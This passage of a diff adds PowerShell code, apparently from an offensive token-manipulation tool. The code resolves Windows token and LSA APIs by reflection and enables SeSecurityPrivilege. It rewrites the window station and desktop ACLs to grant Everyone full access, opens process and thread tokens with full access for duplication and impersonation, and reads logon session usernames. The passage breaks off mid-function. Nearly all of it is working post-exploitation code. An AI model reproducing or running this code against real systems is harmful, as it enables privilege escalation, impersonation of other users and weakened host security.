+ $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null
+ $TRUSTEE = $TypeBuilder.CreateType()
+
+ #Struct EXPLICIT_ACCESS
+ $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+ $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType])
+ $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null
+ $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null
+ $EXPLICIT_ACCESS = $TypeBuilder.CreateType()
+ ###############################
+
+
+ ###############################
+ #Win32Functions
+ ###############################
+ $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
+ $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
+
+ $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken
+ $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
+ $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate)
+
+ $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation
+ $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
+ $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate)
+
+ $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken
+ $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool])
+ $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
+
+ $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser
+ $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate)
+
+ $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
+ $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
+ $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
+
+ $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData
+ $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
+ $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate)
+
+ $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW
+ $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
+ $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate)
+
+ $memsetAddr = Get-ProcAddress msvcrt.dll memset
+ $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
+ $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
+
+ $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx
+ $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
+ $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate)
+
+ $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
+ $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
+ $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
+
+ $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
+ $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
+ $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
+
+ $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer
+ $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32])
+ $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate)
+
+ $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread
+ $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate)
+
+ $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken
+ $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
+ $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
+
+ $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW
+ $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
+ $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate)
+
+ $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW
+ $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr])
+ $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate)
+
+ $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA
+ $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr])
+ $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate)
+
+ $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
+ $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
+ $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
+
+ $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
+ $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool])
+ $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
+
+ $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
+ $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool])
+ $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
+
+ $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
+ $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
+ $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
+
+ $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo
+ $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32])
+ $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate)
+
+ $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo
+ $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
+ $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate)
+
+ $GetAceAddr = Get-ProcAddress advapi32.dll GetAce
+ $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr])
+ $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate)
+
+ $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
+ $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
+ $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
+
+ $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce
+ $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool])
+ $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate)
+
+ $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid
+ $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
+ $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate)
+
+ $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW
+ $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
+ $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate)
+
+ $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree
+ $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
+ $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
+
+ $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW
+ $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
+ $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate)
+ ###############################
+
+
+ #Used to add 64bit memory addresses
+ Function Add-SignedIntAsUnsigned
+ {
+ Param(
+ [Parameter(Position = 0, Mandatory = $true)]
+ [Int64]
+ $Value1,
+
+ [Parameter(Position = 1, Mandatory = $true)]
+ [Int64]
+ $Value2
+ )
+
+ [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
+ [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
+ [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
+
+ if ($Value1Bytes.Count -eq $Value2Bytes.Count)
+ {
+ $CarryOver = 0
+ for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
+ {
+ #Add bytes
+ [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
+
+ $FinalBytes[$i] = $Sum -band 0x00FF
+
+ if (($Sum -band 0xFF00) -eq 0x100)
+ {
+ $CarryOver = 1
+ }
+ else
+ {
+ $CarryOver = 0
+ }
+ }
+ }
+ else
+ {
+ Throw "Cannot add bytearrays of different sizes"
+ }
+
+ return [BitConverter]::ToInt64($FinalBytes, 0)
+ }
+
+
+ #Enable SeSecurityPrivilege, needed to query security information for desktop DACL
+ function Enable-SeSecurityPrivilege
+ {
+ [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
+ if ($ThreadHandle -eq [IntPtr]::Zero)
+ {
+ Throw "Unable to get the handle to the current thread"
+ }
+
+ [IntPtr]$ThreadToken = [IntPtr]::Zero
+ [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if ($Result -eq $false)
+ {
+ if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
+ {
+ $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+ }
+ else
+ {
+ Throw ([ComponentModel.Win32Exception] $ErrorCode)
+ }
+ }
+
+ $CloseHandle.Invoke($ThreadHandle) | Out-Null
+
+ $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
+ $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
+ $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
+
+ $Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject)
+
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
+ $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
+ $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
+
+ $LuidAndAttributes.Luid = $LuidObject
+ $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
+
+ [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
+ $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
+ $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
+ $TokenPrivileges.PrivilegeCount = 1
+ $TokenPrivileges.Privileges = $LuidAndAttributes
+
+ $Global:TokenPriv = $TokenPrivileges
+
+ $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
+ if ($Result -eq $false)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ $CloseHandle.Invoke($ThreadToken) | Out-Null
+ }
+
+
+ #Change the ACL of the WindowStation and Desktop
+ function Set-DesktopACLs
+ {
+ Enable-SeSecurityPrivilege
+
+ #Change the privilege for the current window station to allow full privilege for all users
+ $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
+ $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC)
+
+ if ($hWinsta -eq [IntPtr]::Zero)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ Set-DesktopACLToAllowEveryone -hObject $hWinsta
+ $CloseHandle.Invoke($hWinsta) | Out-Null
+
+ #Change the privilege for the current desktop to allow full privilege for all users
+ $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC)
+ if ($hDesktop -eq [IntPtr]::Zero)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ Set-DesktopACLToAllowEveryone -hObject $hDesktop
+ $CloseHandle.Invoke($hDesktop) | Out-Null
+ }
+
+
+ function Set-DesktopACLToAllowEveryone
+ {
+ Param(
+ [IntPtr]$hObject
+ )
+
+ [IntPtr]$ppSidOwner = [IntPtr]::Zero
+ [IntPtr]$ppsidGroup = [IntPtr]::Zero
+ [IntPtr]$ppDacl = [IntPtr]::Zero
+ [IntPtr]$ppSacl = [IntPtr]::Zero
+ [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero
+ #0x7 is window station, change for other types
+ $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor)
+ if ($retVal -ne 0)
+ {
+ Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal"
+ }
+
+ if ($ppDacl -ne [IntPtr]::Zero)
+ {
+ $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL)
+
+ #Add all users to acl
+ [UInt32]$RealSize = 2000
+ $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize)
+ $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ Throw (New-Object ComponentModel.Win32Exception)
+ }
+
+ #For user "Everyone"
+ $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE)
+ $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize)
+ $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr)
+ $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero
+ $TrusteeObj.MultipleTrusteeOperation = 0
+ $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID
+ $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP
+ $TrusteeObj.ptstrName = $pAllUsersSid
+
+ #Give full permission
+ $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS)
+ $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize)
+ $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS)
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr)
+ $ExplicitAccess.grfAccessPermissions = 0xf03ff
+ $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS
+ $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE
+ $ExplicitAccess.Trustee = $TrusteeObj
+
+ [IntPtr]$NewDacl = [IntPtr]::Zero
+
+ $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl)
+ if ($RetVal -ne 0)
+ {
+ Write-Error "Error calling SetEntriesInAclW: $RetVal"
+ }
+
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid)
+
+ if ($NewDacl -eq [IntPtr]::Zero)
+ {
+ throw "New DACL is null"
+ }
+
+ #0x7 is window station, change for other types
+ $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl)
+ if ($RetVal -ne 0)
+ {
+ Write-Error "SetSecurityInfo failed. Return value: $RetVal"
+ }
+
+ $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null
+ }
+ }
+
+
+ #Get the primary token for the specified processId
+ function Get-PrimaryToken
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [UInt32]
+ $ProcessId,
+
+ #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM.
+ [Parameter()]
+ [Switch]
+ $FullPrivs
+ )
+
+ if ($FullPrivs)
+ {
+ $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS
+ }
+ else
+ {
+ $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY
+ }
+
+ $ReturnStruct = New-Object PSObject
+
+ $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId)
+ $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess
+ if ($hProcess -eq [IntPtr]::Zero)
+ {
+ #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes.
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process."
+ return $null
+ }
+ else
+ {
+ [IntPtr]$hProcToken = [IntPtr]::Zero
+ $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken)
+
+ #Close the handle to hProcess (the process handle)
+ if (-not $CloseHandle.Invoke($hProcess))
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode"
+ }
+ $hProcess = [IntPtr]::Zero
+
+ if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode"
+ return $null
+ }
+ else
+ {
+ $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken
+ }
+ }
+
+ return $ReturnStruct
+ }
+
+
+ function Get-ThreadToken
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [UInt32]
+ $ThreadId
+ )
+
+ $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS
+
+ $RetStruct = New-Object PSObject
+ [IntPtr]$hThreadToken = [IntPtr]::Zero
+
+ $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId)
+ if ($hThread -eq [IntPtr]::Zero)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists
+ {
+ Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode"
+ }
+ }
+ else
+ {
+ $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated
+ ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed
+ {
+ Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode"
+ }
+ }
+ else
+ {
+ Write-Verbose "Successfully queried thread token"
+ }
+
+ #Close the handle to hThread (the thread handle)
+ if (-not $CloseHandle.Invoke($hThread))
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode"
+ }
+ $hThread = [IntPtr]::Zero
+ }
+
+ $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken
+ return $RetStruct
+ }
+
+
+ #Gets important information about the token such as the logon type associated with the logon
+ function Get-TokenInformation
+ {
+ Param(
+ [Parameter(Position=0, Mandatory=$true)]
+ [IntPtr]
+ $hToken
+ )
+
+ $ReturnObj = $null
+
+ $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS)
+ [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize)
+ [UInt32]$RealSize = 0
+ $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize)
+ if (-not $Success)
+ {
+ $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ Write-Warning "GetTokenInformation failed. Error code: $ErrorCode"
+ }
+ else
+ {
+ $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS)
+
+ #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon
+ $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID))
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false)
+
+ [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero
+ $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr)
+ if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero)
+ {
+ Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr"
+ }
+ else
+ {
+ $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA)
+ if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and
+ $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero)
+ {
+ #Get the username and domainname associated with the token
+ $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2)
+ $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2)
+
+ #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE)
+ #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account
+ #results in querying the domain controller which is unwanted.
+ if ($Username -ieq "$($env:COMPUTERNAME)`$")
+ {
+ [UInt32]$Size = 100
+ [UInt32]$NumUsernameChar = $Size / 2
+ [UInt32]$NumDomainChar = $Size / 2
+ [UInt32]$SidNameUse = 0
+ $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)
+ $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size)
+ $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse)
+
+ if ($Success)
+ {
+ $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer)
+ $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer)
+ }
